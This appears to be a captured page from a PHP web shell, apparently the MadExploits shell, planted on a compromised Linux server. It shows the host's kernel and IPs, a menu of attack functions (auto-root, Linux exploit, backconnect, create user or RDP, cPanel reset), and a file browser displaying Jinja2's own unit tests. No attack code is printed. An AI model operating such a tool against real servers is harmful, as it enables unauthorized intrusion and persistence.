Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.119.121.234
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
site-packages /
jinja2 /
testsuite /
[ HOME SHELL ]
Name
Size
Permission
Action
res
[ DIR ]
drwxr-xr-x
__init__.py
4.53
KB
-rw-r--r--
__init__.pyc
6.32
KB
-rw-r--r--
__init__.pyo
6.32
KB
-rw-r--r--
api.py
10.14
KB
-rw-r--r--
api.pyc
12.96
KB
-rw-r--r--
api.pyo
11.26
KB
-rw-r--r--
bytecode_cache.py
928
B
-rw-r--r--
bytecode_cache.pyc
1.6
KB
-rw-r--r--
bytecode_cache.pyo
1.52
KB
-rw-r--r--
core_tags.py
11.58
KB
-rw-r--r--
core_tags.pyc
17.46
KB
-rw-r--r--
core_tags.pyo
14.64
KB
-rw-r--r--
debug.py
1.89
KB
-rw-r--r--
debug.pyc
3.05
KB
-rw-r--r--
debug.pyo
3.05
KB
-rw-r--r--
doctests.py
905
B
-rw-r--r--
doctests.pyc
1.16
KB
-rw-r--r--
doctests.pyo
1.16
KB
-rw-r--r--
ext.py
17.66
KB
-rw-r--r--
ext.pyc
22.57
KB
-rw-r--r--
ext.pyo
18.96
KB
-rw-r--r--
filters.py
18.72
KB
-rw-r--r--
filters.pyc
28.54
KB
-rw-r--r--
filters.pyo
24.28
KB
-rw-r--r--
imports.py
5.21
KB
-rw-r--r--
imports.pyc
6.66
KB
-rw-r--r--
imports.pyo
5.69
KB
-rw-r--r--
inheritance.py
8.05
KB
-rw-r--r--
inheritance.pyc
10.33
KB
-rw-r--r--
inheritance.pyo
8.32
KB
-rw-r--r--
lexnparse.py
21.79
KB
-rw-r--r--
lexnparse.pyc
32.97
KB
-rw-r--r--
lexnparse.pyo
27.24
KB
-rw-r--r--
loader.py
7.97
KB
-rw-r--r--
loader.pyc
10.38
KB
-rw-r--r--
loader.pyo
9
KB
-rw-r--r--
regression.py
8.19
KB
-rw-r--r--
regression.pyc
11.46
KB
-rw-r--r--
regression.pyo
9.96
KB
-rw-r--r--
security.py
6.06
KB
-rw-r--r--
security.pyc
8.37
KB
-rw-r--r--
security.pyo
7.4
KB
-rw-r--r--
tests.py
2.8
KB
-rw-r--r--
tests.pyc
4.7
KB
-rw-r--r--
tests.pyo
4.05
KB
-rw-r--r--
utils.py
2.18
KB
-rw-r--r--
utils.pyc
3.49
KB
-rw-r--r--
utils.pyo
3.19
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : api.py
# -*- coding: utf-8 -*- """ jinja2.testsuite.api ~~~~~~~~~~~~~~~~~~~~ Tests the public API and related stuff. :copyright: (c) 2010 by the Jinja Team. :license: BSD, see LICENSE for more details. """ import unittest import os import tempfile import shutil from jinja2.testsuite import JinjaTestCase from jinja2._compat import next from jinja2 import Environment, Undefined, DebugUndefined, \ StrictUndefined, UndefinedError, meta, \ is_undefined, Template, DictLoader from jinja2.utils import Cycler env = Environment() class ExtendedAPITestCase(JinjaTestCase): def test_item_and_attribute(self): from jinja2.sandbox import SandboxedEnvironment for env in Environment(), SandboxedEnvironment(): # the |list is necessary for python3 tmpl = env.from_string('{{ foo.items()|list }}') assert tmpl.render(foo={'items': 42}) == "[('items', 42)]" tmpl = env.from_string('{{ foo|attr("items")()|list }}') assert tmpl.render(foo={'items': 42}) == "[('items', 42)]" tmpl = env.from_string('{{ foo["items"] }}') assert tmpl.render(foo={'items': 42}) == '42' def test_finalizer(self): def finalize_none_empty(value): if value is None: value = u'' return value env = Environment(finalize=finalize_none_empty) tmpl = env.from_string('{% for item in seq %}|{{ item }}{% endfor %}') assert tmpl.render(seq=(None, 1, "foo")) == '||1|foo' tmpl = env.from_string('<{{ none }}>') assert tmpl.render() == '<>' def test_cycler(self): items = 1, 2, 3 c = Cycler(*items) for item in items + items: assert c.current == item assert next(c) == item next(c) assert c.current == 2 c.reset() assert c.current == 1 def test_expressions(self): expr = env.compile_expression("foo") assert expr() is None assert expr(foo=42) == 42 expr2 = env.compile_expression("foo", undefined_to_none=False) assert is_undefined(expr2()) expr = env.compile_expression("42 + foo") assert expr(foo=42) == 84 def test_template_passthrough(self): t = Template('Content') assert env.get_template(t) is t assert env.select_template([t]) is t assert env.get_or_select_template([t]) is t assert env.get_or_select_template(t) is t def test_autoescape_autoselect(self): def select_autoescape(name): if name is None or '.' not in name: return False return name.endswith('.html') env = Environment(autoescape=select_autoescape, loader=DictLoader({ 'test.txt': '{{ foo }}', 'test.html': '{{ foo }}' })) t = env.get_template('test.txt') assert t.render(foo='<foo>') == '<foo>' t = env.get_template('test.html') assert t.render(foo='<foo>') == '<foo>' t = env.from_string('{{ foo }}') assert t.render(foo='<foo>') == '<foo>' class MetaTestCase(JinjaTestCase): def test_find_undeclared_variables(self): ast = env.parse('{% set foo = 42 %}{{ bar + foo }}') x = meta.find_undeclared_variables(ast) assert x == set(['bar']) ast = env.parse('{% set foo = 42 %}{{ bar + foo }}' '{% macro meh(x) %}{{ x }}{% endmacro %}' '{% for item in seq %}{{ muh(item) + meh(seq) }}{% endfor %}') x = meta.find_undeclared_variables(ast) assert x == set(['bar', 'seq', 'muh']) def test_find_refererenced_templates(self): ast = env.parse('{% extends "layout.html" %}{% include helper %}') i = meta.find_referenced_templates(ast) assert next(i) == 'layout.html' assert next(i) is None assert list(i) == [] ast = env.parse('{% extends "layout.html" %}' '{% from "test.html" import a, b as c %}' '{% import "meh.html" as meh %}' '{% include "muh.html" %}') i = meta.find_referenced_templates(ast) assert list(i) == ['layout.html', 'test.html', 'meh.html', 'muh.html'] def test_find_included_templates(self): ast = env.parse('{% include ["foo.html", "bar.html"] %}') i = meta.find_referenced_templates(ast) assert list(i) == ['foo.html', 'bar.html'] ast = env.parse('{% include ("foo.html", "bar.html") %}') i = meta.find_referenced_templates(ast) assert list(i) == ['foo.html', 'bar.html'] ast = env.parse('{% include ["foo.html", "bar.html", foo] %}') i = meta.find_referenced_templates(ast) assert list(i) == ['foo.html', 'bar.html', None] ast = env.parse('{% include ("foo.html", "bar.html", foo) %}') i = meta.find_referenced_templates(ast) assert list(i) == ['foo.html', 'bar.html', None] class StreamingTestCase(JinjaTestCase): def test_basic_streaming(self): tmpl = env.from_string("<ul>{% for item in seq %}<li>{{ loop.index " "}} - {{ item }}</li>{%- endfor %}</ul>") stream = tmpl.stream(seq=list(range(4))) self.assert_equal(next(stream), '<ul>') self.assert_equal(next(stream), '<li>1 - 0</li>') self.assert_equal(next(stream), '<li>2 - 1</li>') self.assert_equal(next(stream), '<li>3 - 2</li>') self.assert_equal(next(stream), '<li>4 - 3</li>') self.assert_equal(next(stream), '</ul>') def test_buffered_streaming(self): tmpl = env.from_string("<ul>{% for item in seq %}<li>{{ loop.index " "}} - {{ item }}</li>{%- endfor %}</ul>") stream = tmpl.stream(seq=list(range(4))) stream.enable_buffering(size=3) self.assert_equal(next(stream), u'<ul><li>1 - 0</li><li>2 - 1</li>') self.assert_equal(next(stream), u'<li>3 - 2</li><li>4 - 3</li></ul>') def test_streaming_behavior(self): tmpl = env.from_string("") stream = tmpl.stream() assert not stream.buffered stream.enable_buffering(20) assert stream.buffered stream.disable_buffering() assert not stream.buffered def test_dump_stream(self): tmp = tempfile.mkdtemp() try: tmpl = env.from_string(u"\u2713") stream = tmpl.stream() stream.dump(os.path.join(tmp, 'dump.txt'), 'utf-8') with open(os.path.join(tmp, 'dump.txt'), 'rb') as f: self.assertEqual(f.read(), b'\xe2\x9c\x93') finally: shutil.rmtree(tmp) class UndefinedTestCase(JinjaTestCase): def test_stopiteration_is_undefined(self): def test(): raise StopIteration() t = Template('A{{ test() }}B') assert t.render(test=test) == 'AB' t = Template('A{{ test().missingattribute }}B') self.assert_raises(UndefinedError, t.render, test=test) def test_undefined_and_special_attributes(self): try: Undefined('Foo').__dict__ except AttributeError: pass else: assert False, "Expected actual attribute error" def test_default_undefined(self): env = Environment(undefined=Undefined) self.assert_equal(env.from_string('{{ missing }}').render(), u'') self.assert_raises(UndefinedError, env.from_string('{{ missing.attribute }}').render) self.assert_equal(env.from_string('{{ missing|list }}').render(), '[]') self.assert_equal(env.from_string('{{ missing is not defined }}').render(), 'True') self.assert_equal(env.from_string('{{ foo.missing }}').render(foo=42), '') self.assert_equal(env.from_string('{{ not missing }}').render(), 'True') def test_debug_undefined(self): env = Environment(undefined=DebugUndefined) self.assert_equal(env.from_string('{{ missing }}').render(), '{{ missing }}') self.assert_raises(UndefinedError, env.from_string('{{ missing.attribute }}').render) self.assert_equal(env.from_string('{{ missing|list }}').render(), '[]') self.assert_equal(env.from_string('{{ missing is not defined }}').render(), 'True') self.assert_equal(env.from_string('{{ foo.missing }}').render(foo=42), u"{{ no such element: int object['missing'] }}") self.assert_equal(env.from_string('{{ not missing }}').render(), 'True') def test_strict_undefined(self): env = Environment(undefined=StrictUndefined) self.assert_raises(UndefinedError, env.from_string('{{ missing }}').render) self.assert_raises(UndefinedError, env.from_string('{{ missing.attribute }}').render) self.assert_raises(UndefinedError, env.from_string('{{ missing|list }}').render) self.assert_equal(env.from_string('{{ missing is not defined }}').render(), 'True') self.assert_raises(UndefinedError, env.from_string('{{ foo.missing }}').render, foo=42) self.assert_raises(UndefinedError, env.from_string('{{ not missing }}').render) self.assert_equal(env.from_string('{{ missing|default("default", true) }}').render(), 'default') def test_indexing_gives_undefined(self): t = Template("{{ var[42].foo }}") self.assert_raises(UndefinedError, t.render, var=0) def test_none_gives_proper_error(self): try: Environment().getattr(None, 'split')() except UndefinedError as e: assert e.message == "'None' has no attribute 'split'" else: assert False, 'expected exception' def test_object_repr(self): try: Undefined(obj=42, name='upper')() except UndefinedError as e: assert e.message == "'int object' has no attribute 'upper'" else: assert False, 'expected exception' def suite(): suite = unittest.TestSuite() suite.addTest(unittest.makeSuite(ExtendedAPITestCase)) suite.addTest(unittest.makeSuite(MetaTestCase)) suite.addTest(unittest.makeSuite(StreamingTestCase)) suite.addTest(unittest.makeSuite(UndefinedTestCase)) return suite
Close